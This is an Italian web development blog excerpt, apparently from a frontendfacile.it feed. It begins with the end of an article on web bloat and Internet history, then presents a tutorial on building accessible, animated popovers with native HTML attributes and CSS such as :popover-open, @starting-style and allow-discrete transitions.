L’esperienza contemporanea spesso inizia con una sequenza di ostacoli: consenso cookie, pop-up, overlay, inviti a installare app. Nel frattempo la pagina scarica megabyte di JavaScript prima di diventare leggibile.

Questo non è inevitabile: è l’effetto di incentivi (tracking, ads, funnel) e di un abuso di potenza lato client. Il frontend può fare da contrappeso con scelte concrete:

ridurre JS iniziale e preferire HTML utile
usare lazy loading e priorità corrette
eliminare dipendenze third‑party non essenziali
misurare (LCP, INP, CLS) e ottimizzare dove conta

Sintesi: la “stranezza” di Internet è la sua forza

Internet e Web non sono nati come prodotti rifiniti: sono nati come sistemi resilienti, modulari e interoperabili. Packet switching, TCP/IP, DNS e HTTP sono soluzioni pragmatiche a problemi reali: guasti, indirizzamento, usabilità, collegabilità.

Per chi costruisce interfacce oggi, la lezione è pratica: trattare la rete come imperfetta e il browser come una piattaforma universale porta a decisioni migliori—più progressive, più veloci, più robuste. E spesso, paradossalmente, più semplici.

Articolo originale: https://frontendfacile.it/blog/una-storia-strana-di-internet-perche-funziona-davvero-e-cosa-insegna-a-chi-fa-fr

Smettila di sprecare tempo con JavaScript: i popover moderni si fanno (anche) in CSS

frontendfacile.it — Thu, 02 Jul 2026 09:15:01 +0000

Con l’attributo popover, ::backdrop implicito, transizioni discrete e un pizzico di anchoring, puoi ottenere apertura/chiusura accessibili con pochissimo codice.

Negli ultimi anni abbiamo accumulato un riflesso quasi automatico: “serve un popover? scrivo due righe di JavaScript”. Il problema non è il JS in sé, è che spesso lo usiamo per ricreare comportamenti che il browser può già gestire meglio (e con più attenzione all’accessibilità) in modo nativo.

Oggi i popover possono essere realizzati con HTML + CSS in modo estremamente compatto, ottenendo gratis:

Apertura/chiusura senza handler
Light dismiss (clic fuori per chiudere)
Tasto ESC
Comportamenti di base più prevedibili e “browser-native”

E, soprattutto, puoi animarli con CSS in maniera pulita.

Il popover nativo: markup minimo

L’idea è semplice:

Un elemento “contenitore” che dichiari popover
Un bottone che lo controlli con popovertarget

<button popovertarget="my-popover">Apri popover</button>

<div id="my-popover" popover>
  Contenuto del popover
</div>

Con solo questo, il bottone apre/chiude il popover. E sì: funziona anche con ESC e clic fuori, senza dover “reinventare” niente.

Nota: esistono varianti e attributi correlati (ad es. modalità diverse), ma questo è lo scheletro più immediato per partire.

Styling e animazione: lo stato `:popover-open`

Quando il popover è visibile, puoi selezionarlo via pseudo-classe:

:popover-open → popover attualmente aperto

Partiamo con un semplice fade.

#my-popover {
  opacity: 0;
  transition: opacity 300ms ease;
}

#my-popover:popover-open {
  opacity: 1;
}

Fin qui sembra tutto normale… ma c’è un dettaglio importante.

Transizioni che funzionano davvero: `transition-behavior: allow-discrete`

L’apertura/chiusura di un popover coinvolge anche cambiamenti “discreti” (non interpolabili) legati al rendering/visibilità. Risultato tipico: l’animazione entra, ma in chiusura “sparisce di colpo”.

Per consentire transizioni più sensate anche in questi casi, puoi aggiungere:

#my-popover {
  transition-behavior: allow-discrete;
}

In pratica stai dicendo al browser: “consenti la transizione anche quando ci sono step discreti nel mezzo”.

Animare anche la posizione: slide + fade con `translate`

Una combinazione molto naturale è fade + slide. Ad esempio: entra dal basso e esce verso l’alto (o viceversa).

#my-popover {
  opacity: 0;
  translate: 0 50px;

  transition:
    opacity 300ms ease,
    translate 300ms ease;

  transition-behavior: allow-discrete;
}

#my-popover:popover-open {
  opacity: 1;
  translate: 0 0;
}

@starting-style {
  #my-popover:popover-open {
    opacity: 0;
    translate: 0 -50px;
  }
}

Cosa succede qui:

Stato chiuso: opacity: 0 e translate: 0 50px
Stato aperto: opacity: 1 e translate: 0 0
Con @starting-style puoi definire lo stato iniziale al momento dell’apertura, rendendo l’entrata più controllata

È un pattern molto utile quando vuoi evitare “salti” tra calcolo layout e primo frame dell’animazione.

Posizionarlo vicino al trigger: cenni di anchoring

Un popover spesso ha senso in relazione al bottone che lo apre. Il CSS moderno offre strumenti per agganciare un elemento a un altro (anchoring), riducendo la necessità di calcoli JS per “metterlo sotto al bottone”.

A livello concettuale:

definisci un’ancora (il trigger)
posizioni il popover rispetto a quell’ancora (ad es. “sotto”)

La sintassi e il supporto possono variare, ma il punto pratico è questo: se il tuo popover è un componente ricorrente, l’anchoring ti evita coordinate hard-coded o getBoundingClientRect() per casi semplici.

Implicazione pratica: JS dove serve, non per abitudine

Non è una crociata contro JavaScript. È una questione di allocare complessità nel posto giusto:

Se ti serve un popover standard (apri/chiudi, ESC, clic fuori, animazione), l’HTML/CSS nativi oggi coprono già gran parte del lavoro.
Riservare JS ai casi “veramente applicativi” (stato, dati, orchestrazione) riduce bug, codice boilerplate e regressioni sull’accessibilità.

Sintesi

Un popover moderno può essere:

dichiarato in HTML con popover
controllato con popovertarget
animato con :popover-open, @starting-style e transition-behavior: allow-discrete
posizionato vicino al trigger con anchoring (quando disponibile)

Se stai ancora scrivendo handler e listener solo per aprire/chiudere un pannellino, probabilmente stai spendendo tempo dove il browser è già pronto a fare il lavoro per te.

Articolo originale: https://frontendfacile.it/blog/smettila-di-sprecare-tempo-con-javascript-i-popover-moderni-si-fanno-anche-in-cs